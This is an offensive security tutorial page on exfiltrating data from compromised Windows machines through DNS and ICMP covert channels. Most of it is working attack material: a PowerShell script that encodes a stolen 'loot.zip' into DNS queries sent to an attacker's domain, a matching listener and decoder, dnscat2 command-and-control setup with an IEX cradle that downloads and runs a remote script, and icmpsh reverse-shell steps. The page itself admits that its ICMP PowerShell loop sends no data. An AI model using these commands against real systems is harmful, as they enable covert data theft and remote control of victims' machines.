Skip to content
HackIndex logo

HackIndex

Windows DNS and Covert Channel Exfiltration

3 min read Jul 14, 2026

When HTTP, HTTPS, SMB, and FTP are all blocked or monitored, DNS is often the last viable channel. DNS queries are rarely blocked outbound and are infrequently inspected in depth. The technique encodes data into DNS query labels and exfiltrates it to a domain you control. Throughput is low — plan for small, high-value payloads only.

DNS exfiltration — manual method

For small amounts of data such as credential files or key material, base64 encode the data and send it as DNS queries without any special tooling.

┌──(kali㉿kali)-[~]
└─$ # Listen for DNS queries with tcpdump (passive — records all queries to your IP)
┌──(kali㉿kali)-[~]
└─$ tcpdump -i eth0 udp port 53 -l | grep --line-buffered $DOMAIN
 
┌──(kali㉿kali)-[~]
└─$ # Or use dnscat2 server
┌──(kali㉿kali)-[~]
└─$ gem install dnscat2
┌──(kali㉿kali)-[~]
└─$ ruby dnscat2.rb $DOMAIN
 
┌──(kali㉿kali)-[~]
└─$ # Simple DNS server to log queries
┌──(kali㉿kali)-[~]
└─$ python3 -c "
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', 53))
print('Listening...')
while True:
data, addr = sock.recvfrom(512)
print(f'Query from {addr}: {data[12:].split(b\"\\x00\")[0]}')
"
# Base64 encode the file
$data = [Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Windows\Temp\loot.zip'))

# Split into 60-char chunks (DNS label limit is 63 chars)
$chunks = $data -split '(.{60})' | Where-Object {$_}

# Send each chunk as a DNS query
$i = 0
foreach ($chunk in $chunks) {
    $query = "$i.$chunk.$DOMAIN"
    Resolve-DnsName $query -ErrorAction SilentlyContinue
    $i++
    Start-Sleep -Milliseconds 200
}
┌──(kali㉿kali)-[~]
└─$ # Extract base64 chunks from tcpdump log, sort by index, decode
┌──(kali㉿kali)-[~]
└─$ # Assumes queries are in format: INDEX.B64CHUNK.domain.com
┌──(kali㉿kali)-[~]
└─$ grep $DOMAIN capture.txt | grep -oP '[0-9]+\.[A-Za-z0-9+/=]+' | sort -t. -k1 -n | cut -d. -f2 | tr -d '\n' | base64 -d > loot.zip

dnscat2 — tunneled C2 over DNS

dnscat2 establishes a full command-and-control channel over DNS. It requires a domain you control with NS records pointing to your attack box. Once connected it provides an interactive shell and file transfer capability entirely over DNS.

┌──(kali㉿kali)-[~]
└─$ # Start server (requires NS record for $DOMAIN pointing to your IP)
┌──(kali㉿kali)-[~]
└─$ gem install dnscat2
┌──(kali㉿kali)-[~]
└─$ ruby dnscat2.rb $DOMAIN
 
┌──(kali㉿kali)-[~]
└─$ # With pre-shared secret to prevent hijacking
┌──(kali㉿kali)-[~]
└─$ ruby dnscat2.rb --secret $PASSWORD $DOMAIN
PS C:\Users\Guest\Desktop> # PowerShell dnscat2 client (no binary needed)
PS C:\Users\Guest\Desktop> IEX (New-Object Net.WebClient).DownloadString('http://$LHOST:8080/dnscat2.ps1')
PS C:\Users\Guest\Desktop> Start-Dnscat2 -Domain $DOMAIN -PreSharedSecret $PASSWORD
 
PS C:\Users\Guest\Desktop> # Or compiled binary
PS C:\Users\Guest\Desktop> C:\Windows\Temp\dnscat2.exe $DOMAIN --secret $PASSWORD

ICMP exfiltration

ICMP is another protocol that is commonly allowed outbound and rarely inspected. Data is encoded into the payload field of ping packets. Throughput is very low but it works when all TCP and UDP channels are blocked.

┌──(kali㉿kali)-[~]
└─$ # Capture ICMP data with tcpdump
┌──(kali㉿kali)-[~]
└─$ tcpdump -i eth0 icmp -l -X | grep -A2 'ICMP echo request'
 
┌──(kali㉿kali)-[~]
└─$ # icmpsh server (receives reverse shell over ICMP)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/bdamele/icmpsh
┌──(kali㉿kali)-[~]
└─$ cd icmpsh
┌──(kali㉿kali)-[~]
└─$ sysctl -w net.ipv4.icmp_echo_ignore_all=1
┌──(kali㉿kali)-[~]
└─$ python3 icmpsh_m.py $LHOST $TARGET_IP
# Send file data via ICMP ping payload
$data = [Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\Windows\Temp\secret.txt'))
$chunks = $data -split '(.{32})' | Where-Object {$_}
foreach ($chunk in $chunks) {
    ping $LHOST -n 1 -l 32 | Out-Null
    # Note: native ping does not support custom payloads
    # Use a dedicated tool like icmpsh for actual payload embedding
    Start-Sleep -Milliseconds 100
}

Native Windows ping does not support custom ICMP payloads — use icmpsh or a purpose-built binary for actual ICMP data exfiltration. DNS exfiltration is more practical in most engagements because it requires no special binary on the target and works through most corporate firewalls and proxies.

References